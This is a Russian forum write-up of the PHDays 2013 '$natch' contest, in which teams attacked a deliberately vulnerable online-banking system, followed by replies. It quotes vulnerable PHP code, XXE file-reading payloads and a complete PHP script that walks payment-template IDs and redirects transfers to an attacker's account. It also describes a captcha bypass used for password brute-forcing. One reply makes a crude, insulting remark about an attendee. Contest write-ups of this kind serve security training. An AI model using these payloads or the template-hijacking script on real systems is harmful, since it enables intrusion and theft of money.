По итогам нашумевшего конкурса "$natch". Конкурс уже прошёл, решил что пора бы напечатать свой write-up на тему "Как украсть деньги из IBank". Надо признать, организаторы постарались на славу, предоставив пентестерам сразу 3 (!!!) вида различных уязвимостей для компрометации системы ДБО. И тут было где разгуляться. Тем более банк обещал быть в размере 20к рублей, а сумма победителя ещё и удваивается спонсором! Итак. День первый. 12:00 Мы получили на руки исходники системы IBank и уже готовую виртуальную систему с этой ДБО на борту. Но времени изучать исходники толком не было, вокруг была куча интереснейших докладов, поэтому изучение было передвинуто на вечер. 19:00 Наконец-то нашли время сесть и поковырять исходники. Практически сразу обнаружилось пару интересных вещей. В то время как для входа в аккаунт требовалось передать 3 параметра: логин, пароль и капчу; дополнительно была найдена возможность авторизоваться через мобильный интерфейс, где запрашивало только логин и пароль. AuthController.php Code: if ($request->isPost()) { $login = $request->getPost('login'); $password = $request->getPost('password'); $captcha = $request->getPost('captcha'); $return['login'] = $login; /** * Disable captcha on mobile interface */ if (!$mobile) { if (!isset($_SESSION['captcha']['code']) || ($captcha != $_SESSION['captcha']['code'])) { $return['captchaError'] = true; return $return; } } $result = $this->auth->authenticate($login, $password); Для того чтобы ДБО пускало нас внуть через мобильный интерфейс - должна быть установлена Cookie "mobileInterface=true". IndexController.php Code: public function switchInterfaceAction() { $request = $this->serviceManager->get('request'); if ($request->getCookie('mobileInterface')) { setcookie('mobileInterface', '', null, '/'); } else { setcookie('mobileInterface', 'true', null, '/'); } Всё это давало нам отличный шанс побрутить аккаунты на слабые пароли. Брутер написался очень быстро. В качестве ответа-индикатора гудов и бэдов использовали код сервера "302 Found". 22:00 Зарядившись алкоголем (какой кодинг без него? Оо), мы с приятелями-конкурентами разделились на 2 части: кто-то дописывал и оптимизировал код, кто-то искал уязвимости дальше. Второй вид уязвимости не заставил себя долго ждать. XXE в функции импорта контактов. ContactsController.php Code: public function indexAction() { return array( 'user' => $this->user, 'contacts' => $this->userService->fetchUserContacts($this->user) ); } public function exportAction() { $this->application->setOption('disableLayout', true) ->setOption('disableView', true); $response = $this->serviceManager->get('response'); $response->setHeader('Content-type', 'text/xml') ->setHeader('Content-Disposition', 'attachment; filename="contacts.xml"') ->appendBody($this->userService->exportUserContacts($this->user)); } public function importAction() { if (isset($_FILES['contacts'])) { $this->userService->importUserContacts($this->user, $_FILES['contacts']['tmp_name']); } $this->redirect('/contacts'); } public function addAction() { if ($this->request->isPost()){ $name = $this->request->getPost('name'); $account = $this->request->getPost('account'); $description = $this->request->getPost('description'); if (!empty($name) && !empty($account)) { $this->userService->addUserContact($this->user, $name, $account, $description); $this->redirect('/contacts'); } } } public function editAction() { $id = $this->request->getParam('id'); $contact = $this->userService->fetchContactById($id); if (!$contact) throw new ContactNotFoundException(); if ($contact->user_id != $this->user->id) throw new ForbiddenException(); if ($this->request->isPost()) { $contact->name = $this->request->getPost('name'); $contact->account = $this->request->getPost('account'); $contact->description = $this->request->getPost('description'); if ($this->userService->updateContact($contact)) { $this->redirect('/contacts'); } } return array( 'contact' => $contact ); Злоумышленник может внедрить свою XML сущность для чтения произвольного файла в системе. Что мы с радостью и сделали. В качестве инжектируемого парамера изначально было выбрана переменная name. Но её длина не позволяла читать файлы длинного содержания. Тогда была найдена переменная description, которая не была видна при отображении, но была видна при редактировании списка конактов. Буквально на коленке был написал эксплойт. Code: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE contact [<!ENTITY x SYSTEM "/logs/messages.log">]> <contacts><contact><name>name</name><account>90107430600712500001</account><description>&x;</description></contact></contacts> Для первоначального эксплойта требовался абсолютный пусть до файлов в ОС. Эта проблема легко решалась разработчиками ДБО. Bootstrap.php Code: if ($this->request->getCookie('debug')) { $this->setOption('displayExceptions', true); } Как видно, достаточно добавить кукис debug, равную,например, 1 - и мы получаем вывод ошибок, самые примитивные из которых вываливаются при запросе несуществующей страницы. Была идея читать файл через wrapper php://filter/read=convert.base64-encode/resource, но она провалилась. Толи мы где-то косякнули с кодом, толи php отказывался отдавать файл через wrapper. (Позже организаторы подтвердили первую догадку, так как итоговый эксплойт выглядел донельзя просто). Code: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE contact [<!ENTITY x SYSTEM "php://filter/read=convert.base64-encode/resource=logs/messages.log">]> <contacts><contact><name>name</name><account>90107430600712500003</account><description>&x;</description></contact></contacts> День второй 02:00 Начали разбираться что это за типы аккаунтов такие "tan" и "mtan". В течение ночи эти переменные стали нарицательными, особенно для кодеров. Пришли к выводу, что перед нами 3 типа аккаунтов: 1) tan. Транзакции отправляются посредством введения кода из БД таблицы tan. (По факту это имитация одноразовых кодов, выдаваемых банком на карточке). 2) mtan. (version 1). Транзакции проходят без введения вообще каких либо кодов подтверждения. Практически одним кликом. 3) mtan. (version 2). Транзакции проходят посредством ввода кода, оптравленного через SMS держателю счёта, при этом отправленнные коды кладутся в logs/messages.log. Как вы уже поняли, 2 и 3 тип аккаунтов легко эксплуатаировался либо простым проведением транзакции, либо проведением транзакции и последующим чтением через XXE отправленных кодов подтверждения на SMS. 5:00 Предыдущие 2 эксплойта были дописаны. Работали кривова-то. Код был мягко говоря не айс. Но он был! Перекопали исходники, не удалось понять в чем уязвимость шаблонов (раз они там были, значит видимо не просто так). А всё было очень просто! TransactionController.php Code: public function editTemplateAction() { $template = $this->tService->fetchTemplateById($this->request->getParam('id')); if (!$template) throw new Exception\TransactionTemplateNotFoundException(); if ($this->request->isPost()) { $template->name = $this->request->getPost('name'); $template->account_from = $this->request->getPost('from'); $template->account_to = $this->request->getPost('to'); $template->sum = $this->request->getPost('sum'); if ($this->tService->updateTemplate($template)) { $this->redirect('/transactions/templates'); } } return array( 'template' => $template ); } TransactionService.php Code: public function fetchTemplateById($id) { $sth = $this->db->query("SELECT * FROM transaction_templates WHERE id = ? ", $id); if (!$sth->rowCount()) return false; $template = new TransactionTemplate(); $template->populate($sth->fetch()); return $template; } public function addUserTemplate(User $user, $name, $from, $to, $sum) { $this->db->query("INSERT INTO transaction_templates VALUES(null,?,?,?,?,?)", $user->id, $name, $from, $to, $sum); return $this; } public function updateTemplate(TransactionTemplate $template) { $this->db->query("UPDATE transaction_templates SET name = ?, account_from = ?, account_to = ?, sum = ? WHERE id = ?", $template->name, $template->account_from, $template->account_to, $template->sum, $template->id); return true; } Из исходников видно, что у нас не проверяется ID человека, который редактирует шаблоны оплаты. Таким образом через специальный запрос в системе ДБО http://DBO/transactions/editTemplate/id/1 можно было редактировать любые шаблоны, подменяя адрес назначения платежа на свой. Эксплойт мы так и не написали. Организаторы сказали, что вообще никто эту уязвимость не эксплуатировал. И привели свой правильный эксплойт. Code: <?php $login = '100001'; $password = 'qwerty'; $account = '90107430600227300001'; $domain = 'localhost'; $cookie_file = '/tmp/ibank_cookie'; function login($ch, $login, $password, $domain) { $postdata = http_build_query( array( 'login' => $login, 'password' => $password, ) ); curl_setopt_array($ch, array( CURLOPT_URL => $domain . '/auth/login', CURLOPT_POST => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_POSTFIELDS => $postdata, )); return curl_exec($ch); } function logout($ch, $domain) { curl_setopt_array($ch, array( CURLOPT_URL => $domain . '/auth/logout', CURLOPT_FOLLOWLOCATION => 0, CURLOPT_POST => 0, )); return curl_exec($ch); } @unlink($cookie_file); file_put_contents($cookie_file, "$domain\tFALSE\t/\tFALSE\t0\tmobileInterface\ttrue", FILE_APPEND | LOCK_EX); $ch = curl_init(); curl_setopt_array($ch, array( CURLOPT_HEADER => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_COOKIEJAR => $cookie_file, CURLOPT_COOKIEFILE => $cookie_file, )); login($ch, $login, $password, $domain); $i = 0; while (++$i) { if ($i > 100) { $i = 0; continue; } curl_setopt_array($ch, array( CURLOPT_URL => $domain . '/transactions/editTemplate/id/' . $i, CURLOPT_POST => 0, )); $result = curl_exec($ch); if (strpos($result, '<h1>404. Page not found</h1>')) continue; preg_match_all("~<input name=\"(.+)\".+value=\"(.*)\">~mU", $result, $matches); $post_data = array(); foreach ($matches[1] as $key => $name) { $value = $matches[2][$key]; $post_data[$name] = $value; } if ($post_data['to'] !== $account) { $post_data['to'] = $account; curl_setopt_array($ch, array( CURLOPT_POST => 1, CURLOPT_POSTFIELDS => http_build_query($post_data), )); $result = curl_exec($ch); echo "From {$post_data['from']} sum {$post_data['sum']}\n"; } } curl_close($ch); 8:00 Все дружно упали спать. Ром сделал своё дело. Хотя поспать толком не удалось. 11:00 Чёртов будильник! Голова плохо варила. Благо дома оказалась холодная Coca-cola и раковина в ванной ) Умывшись и перекусив, мы отправились покорять PHDays. Наш главный кодер всё ещё дописывал/переписывал код. Неугомонный человек. 12:15 Началось. Прямо перед началом конкурса мы договорились о стратегии и обменялись эксплойтами. Нам были розданы конверты участников и локальные кабели. Казалось бы - всё прекрасно, но вот с первых минут всё пошло не так (. Сначала я начал тупить и не смог авторизоваться под собой в системе ДБО. Оказывается, в качестве аутентифкационных данных использовался логин и пасс нанесённый на карточку. Ок, понятно. Потом вдруг отказался работать эксплойт для итоговой ДБО. Косяк был в глобализации переменной ip. Когда он был исправлен, остальные участники уже пробрутили и вывели часть денег. Поэтому было решено дождаться, пока они решат сменить свои пароли. Не зря же организаторы предусмотрели чтение файла /logs/changePassword.log ?) Когда "вдруг" было объявлено, что всем пользователям принудительно сменили пароли, в ход пошёл другой наш эксплойт. И вот тут нас ждал облом. Из-за специсимволов в изменённых паролях наш фейковый XML файл не позволял читать файл смены паролей. А ведь всего-лишь надо было использовать wrapper php://filter/read=convert.base64-encode/resource. Мы лишь беспомощно развели руками и искали ошибку в наших скриптах, при этом недоумевая, почему дома эксплойт работал, а тут нет. 12:45 Прозвенел гонг. Конкурс подошёл к концу. На счету 0. Но большого разочарования нет, уязвимости были найдены, код написан. Чуток не хватило сообразительности. Так бывает =) Полный размер -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Хочется сказать большое спасибо организаторам за предоставленный шанс попробовать себя в этом конкурсе. Было очень интересно копать баги и писать под них эксплойты. ИМХО это вообще самый интересный конкурс на PHDays 2013. Отдельное спасибо человеку написавшему ДБО в одиночку - респект и уважуха !!! Ну и спасибо всем моим товарищам, что были рядом и помогали во всём: Rebz, Trinux, FIXER aka shell_c0de, VY_CMa, alkos, konqi. BigBear, Antichat, 2013
От себя добавлю, что были сделаны определенные выводы: 1) начинать искать баги и автоматизировать эксплуатацию надо фактически сразу, не оставлять на вечер, работы много 2) иметь на ноуте виртуальную машину и локальный веб-сервер с curl 3) тестить 4) ещё раз тестить под разными конфигурациями 5) писать на питоне, хотя в этом конкурсе организаторы показали php-шные сплоиты
Я кепку и футболку урвал (= По большому счёту язык в этом году никакой роли не играл, хотя если брэйнфак был бы, то может времени ушло бы больше, а так задача была в основном в понимании сути ошибок, а реализовать можно было хоть на чём. ЗЫ Я халк!
REBZ а не ты такой там был белобрысый? Ещё мелкий толстый бегал рыживатого цвета там ко всем приставал, вот думаю не гомосек ли он ? Я так посмотрел немного прихуел от вида кодеров там! Извини если грубо написал.
Там была куча белобрысых. И куча "приставал". Конференция всё таки же. Ребза можешь глянуть на онлайн конференции. Ссылка есть на сайте phdays.ru Меня, VY_CMa тоже можно там увидеть, на одном из докладов. Палю "превад" =)
http://phdays.ru/registration/everywhere/broadcast.php#1 Вкладка Congress Hall -> доклад "Роль современной молодежи на российском рынке информационной "